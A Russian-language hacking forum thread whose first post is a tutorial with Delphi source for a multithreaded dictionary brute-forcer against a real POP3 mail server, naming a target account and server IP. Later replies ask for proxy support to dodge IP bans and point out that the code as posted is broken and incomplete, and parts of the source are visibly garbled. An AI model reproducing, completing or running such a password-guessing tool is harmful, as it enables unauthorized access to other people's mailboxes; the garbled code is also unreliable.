Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера. POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера: unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, WinSock; type TForm1 = class(TForm) Button1: TButton; ProgressBar1: TProgressBar; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; // Описание процесса type TScan = class(TThread) sock2 : TSocket; addr:TSockAddrIn; WSAData : TWSAData; private procedure CScan; protected procedure Execute; override; end; var Form1: TForm1; // Массив процессов Sock : array[1..255] of TScan; Rez : boolean = false; // Кол-во запущенных процессов на данный момент I0 : Integer; // Номер текущего пароля I : Integer; // TStringList с паролями PassList : TStringList; const FilePass = 'pass.txt'; // Файл с паролями в каталоге проги ProcCount = 10; // кол-во процессов POP3serv = '212.42.64.13'; // POP3 server (отпингованый) User = 'dndanil'; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin PassList:=TStringList.Create; end; // Запуск / Остановка procedure TForm1.Button1Click(Sender: TObject); begin if Rez then Rez:=false else begin // Открытие и загрузка файла паролей try PassList.Clear; PassList.LoadFromFile(FilePass); except end; if PassList.CountProcCount)or(not Rez) then break; end; end; end; // Проца инициализации процесса procedure TScan.Execute; begin try // Запуск цикла while true do begin CScan; //Выход, если подобрали или закончился словарь if (not Rez)or(I>=PassList.Count) then break; end; except end; dec(I0); try Terminate; except end; //Если все процессы прерваны - if I00 then begin try closesocket(sock2); except end; exit; end; //Получение при соединении x:=recv(sock2,buf,sizeof(Buf),0); if (x=SOCKET_ERROR)or(buf[1]'+') then exit; //"user user" sender('user '+User+#13+#10); x:=recv(sock2,buf,sizeof(Buf),0); if (x=SOCKET_ERROR)or(buf[1]'+') then exit; //"pass password" sender('pass '+PassList.Strings[I2]+#13+#10); x:=recv(sock2,buf,sizeof(Buf),0); //Если подобралось if (x>3)and(buf[1]='+') then begin Rez:=false; Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok); exit; end; try closesocket(sock2); except end; except end; end; end.
bombeg,извини конечно,но переписывать я не буду,кому действительно нужно,может сам переписать...Удачи!
во-первых, это не херня а информация, на написание которой которой ТС потратил какое-то время. во-вторых, это форум и каждый волен излагать свои мысли как ему нравится, что я и сделал. p.s. если тебя бесит - успокойся, выпей валерьянки
Вообще то если так тупо ломится с неподходящими логинами/пассами.То на любом уважающем себя мыльном сервисе айпишник с которого это происходит весьма быстро уйдет в бан.
***xaknem***, а можешь дописать работу с прокси... Потому что код у тебя понятный, думаю если ты допишешь ничего не измениться... А то все примеры что я находил очень сложные...
И вправду, зачем? здесь и на Делфи переписывать и дописывать ) Старт потоков попросту отсутствует.. for I0:=1 to ProcCount do Sock[I0]:=TScan.Create(false); Где WSAStartup и WSAStartup ВинСокета? сокет не определен, значения хоста и порта не присвоены, и он не конектит :-\ sock:=Socket(AF_INET,SOCK_STREAM,0); addr.sin_family:=AF_INET; addr.sin_port:=htons(110); addr.sin_addr.S_addr:=inet_addr(PChar(POP3serv)); if Connect(sock,Addr,Sizeof(addr))=SOCKET_ERROR then begin //понесся первый recv ИМХО Если уже браться писать, то хотя бы что-то работоспособное, а так, тема просто для накрутки постов и репы..